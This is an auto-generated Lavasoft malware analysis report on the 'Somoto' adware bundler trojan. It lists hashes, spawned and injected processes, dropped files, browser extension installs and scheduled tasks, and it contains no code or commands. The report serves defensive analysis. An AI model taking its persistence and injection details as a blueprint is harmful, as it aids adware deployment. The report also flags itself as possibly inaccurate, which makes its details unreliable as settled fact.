Application.Bundler.Somoto.A_9c25ad5c86

by malwarelabrobot on May 1st, 2015 in Malware Descriptions.

Application.Bundler.Somoto.A (AdAware), Trojan.Win32.Swrort.3.FD, SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 9c25ad5c86c1bf46d4564075b019e71c
SHA1: be0d19e2820903976ca00ab121b15d4d1feb9cb1
SHA256: 8162b51826c0fb0baf6cbd6c5713c52be2bb13d34b0b50c878c72effb0e9bcc6
SSDeep: 3072:D22ihA0m3BJP0vgFTQrk3 LNgzRo2HGVBS4EgiYmE8 YKVn1S:cA0m3D0vgFTiA LNgVoAGKTT b
Size: 162056 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

WerFault.exe:4080
WerFault.exe:3372
ClientToMobilePlatform.exe:4432
aints.exe:2172
aints.exe:2244
aints.exe:3748
YTAHelper.exe:3100
smt_istartsurf.exe:3364
ShopperPro.exe:1372
ProtectWindowsManager.exe:3340
ProtectWindowsManager.exe:3288
INS_IWEBAR.EXE:1452
Rkkjgqolih.exe:3432
ProtectService.exe:3824
ProtectService.exe:3704
%original file name%.exe:2364
nsj5ED3.tmp:4264
wpm_v20.0.0.2227.exe:3324
biclient.exe:1708
biclient.exe:2524
ChromeSync.exe:1568
WebProtectPD.exe:2604
WebProtectPD.exe:5044
WebProtectPD.exe:1056
ins_yta.exe:2200
QQBrowser.exe:212
QQBrowser.exe:3520
testlsp.exe:1900
setup.exe:2380
HPNotify.exe:3916
XTab_Setup2253.exe:3356
cmdshell.exe:3892
GLJ979E.tmp:928
WebProtectorPlus.exe:3164
WebProtectorPlus.exe:4876
WebProtectorPlus.exe:1388
nsyE0A0.tmp:1600
uinst.exe:3036
uinst.exe:2812
powershell.exe:2380
powershell.exe:3292
powershell.exe:992
ein.exe:3824
ein.exe:1924
ein.exe:2488
a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe:4328
ins_shopperpro.exe:4048
Hibqtpj.exe:3784
regsvr32.exe:4040
regsvr32.exe:3964
regsvr32.exe:1864
regsvr32.exe:3672
regsvr32.exe:3296
regsvr32.exe:1900
lspinst.exe:3116
lspinst.exe:3220
YTAHEL~1.EXE:2700
d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe:4340
DCytaiesmt_smtyc_setup.exe:4044
DCytaiesmt_smtyc_setup.exe:908
DCytaiesmt_smtyc_setup.exe:2436
DCytaiesmt_smtyc_setup.exe:1904
DCytaiesmt_smtyc_setup.exe:3252
DCytaiesmt_smtyc_setup.exe:3652
spbiu.exe:4008
spbiu.exe:3456
wscript.exe:2396
nso63A4.tmp:3200
YouTubeAcceleratorService.exe:1776
YouTubeAcceleratorService.exe:2800
YouTubeAcceleratorService.exe:3688
GLB9730.tmp:2764
BF77.tmp:1588
INS_SENSE.EXE:3792
taskeng.exe:3560
ctmpua.exe:712
ytaiesmt_smtyc_setup.exe:3196
jsdrv.exe:2700

The Application injects its code into the following process(es):

WerFault.exe:3360
YouTubeAccelerator.exe:3572
biclient.exe:4120
biclient.exe:3272
uinst.exe:3856
RegWrite.exe:3360
YouTubeAcceleratorService.exe:3856
IEXPLORE.EXE:4920

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process WerFault.exe:4080 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0ff8e935\Report.wer (239510 bytes)

The process WerFault.exe:3372 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0d25c448\Report.wer (239502 bytes)

The process ClientToMobilePlatform.exe:4432 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp9EEE.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gcadapter.dll (6108 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp9EEE.tmp\nsisFirewall.dll (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ctmpua.exe (17674 bytes)

The process aints.exe:2172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiFA76.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnFA46.tmp (12336 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiFA76.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe (9573 bytes)

The process aints.exe:2244 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj7668.tmp (12336 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso7688.tmp\System.dll (23 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso7688.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)

The process aints.exe:3748 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu737B.tmp (12336 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz739B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz739B.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)

The process YTAHelper.exe:3100 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process smt_istartsurf.exe:3364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\eg1.zip (193473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\eg2.zip (320557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db (304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe (76078 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe (3616 bytes)

The process ShopperPro.exe:1372 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\config.json (767 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.sys (52 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\database1_0_0.ej (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)

The process ProtectWindowsManager.exe:3288 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)

The process INS_IWEBAR.EXE:1452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\mhuec.dll (2136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\dkhbofocf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\Jalky.tmp (367431 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\lwfjntrs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\Rkkjgqolih.exe (3020301 bytes)

The process Rkkjgqolih.exe:3432 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFC78.tmp (602804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\tvahk.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\vmgvmcqqh.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
%Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\gtexax.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\a802e32e-c834-41ba-9f76-26b80ade37d5-4.dll (42762 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\fkhxrm.dll (29131 bytes)
C:\Windows\Tasks\a802e32e-c834-41ba-9f76-26b80ade37d5-5_user.job (74 bytes)
%Program Files% (x86)\iWebar\utils.exe (62101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\xgyszng.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\67083 (90704 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\405104 (3117 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\mxexzbq.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\dkhbofocf.dll (23 bytes)
C:\Windows\Tasks\a802e32e-c834-41ba-9f76-26b80ade37d5-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\lwfjntrs.dll (30 bytes)
%Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-5.exe (7433 bytes)
%Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe (8706 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\System.dll (808 bytes)

The process ProtectService.exe:3824 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process ProtectService.exe:3704 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\CmdShell.exe (32 bytes)

The process %original file name%.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nscE7CF.tmp (7452 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)

The process YouTubeAccelerator.exe:3572 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1900_testlsp.log_tmp (991 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF0E8.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1F3.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF11B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3572.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF12E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3856.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1BD.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF119.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1CE.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1900_testlsp.log_tmp (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF207.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkEFBB.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3572.log (73612 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF0C7.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1E2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1E0.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (172969 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3856_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF12C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1900_testlsp.log_tmp (151 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1900.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1F5.tmp (1 bytes)

The process nsj5ED3.tmp:4264 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
